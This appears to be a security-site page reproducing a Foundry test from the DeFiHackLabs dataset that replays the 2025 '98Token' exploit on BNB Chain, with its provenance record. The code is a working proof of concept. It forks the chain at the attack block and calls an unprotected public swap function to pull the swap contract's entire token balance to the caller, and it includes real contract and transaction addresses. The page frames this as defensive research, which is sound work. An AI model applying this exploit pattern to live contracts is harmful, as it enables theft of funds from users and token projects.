Skip to content
THREATWIRE

Public reproduction file

src/test/2025-01/98Token_exp.sol

Public reproduction file for dataset entry 98Token.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2025-01/98Token_exp.sol52 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// reason : Unprotected public function
8// guy : https://x.com/TenArmorAlert/status/1875462686353363435
9// tx : https://app.blocksec.com/explorer/tx/bsc/0x61da5b502a62d7e9038d73e31ceb3935050430a7f9b7e29b9b3200db3095f91d
10// total loss : 28kusdt
12contract ContractTest is Test {
13 IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
14 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 Uni_Pair_V3 pool = Uni_Pair_V3(0x92b7807bF19b7DDdf89b706143896d05228f3121);
16 Uni_Pair_V2 pair = Uni_Pair_V2(0x5E901164858d75852EF548B3729f44Dd93209c9c);
17 Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
18 Uni_Router_V3 routerV3 = Uni_Router_V3(0x1b81D678ffb9C0263b24A97847620C99d213eB14);
19 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
20 IERC20 token_98 = IERC20(0xc0dDfD66420ccd3a337A17dD5D94eb54ab87523F);
21 address swapContract = 0xB040D88e61EA79a1289507d56938a6AD9955349C;
24 function setUp() external {
25 cheats.createSelectFork("bsc", 45462898-1);
26 deal(address(USDT), address(this), 0);
27 // deal(address(WBNB), address(this), 11 ether);
28 }
30 function testExploit() external {
31 emit log_named_decimal_uint("[Begin] Attacker USDT before exploit", USDT.balanceOf(address(this)), 18);
32 uint256 token_amount = token_98.balanceOf(swapContract);
33 address[] memory path = new address[](2);
34 path[0] = address(token_98);
35 path[1] = address(USDT);
37 bytes memory callData = abi.encodeWithSignature(
38 "swapTokensForTokens(address[],uint256,uint256,address)",
39 path,
40 token_amount,
41 0,
42 address(this)
43 );
45 (bool success,) = swapContract.call(callData);
46 require(success, "swap failed");
47 emit log_named_decimal_uint("[End] Attacker USDT after exploit", USDT.balanceOf(address(this)), 18);
48 }
51 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “98Token” (2025-01-04). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

17 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
98Token
Path
src/test/2025-01/98Token_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
d97c4f0aca8aaaf7228dda35d0f5d71c080562a3
Language
Solidity
Size
53 lines
Date
2025-01-04
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2025-01/98Token_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob d97c4f0aca8aaaf7228dda35d0f5d71c080562a3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.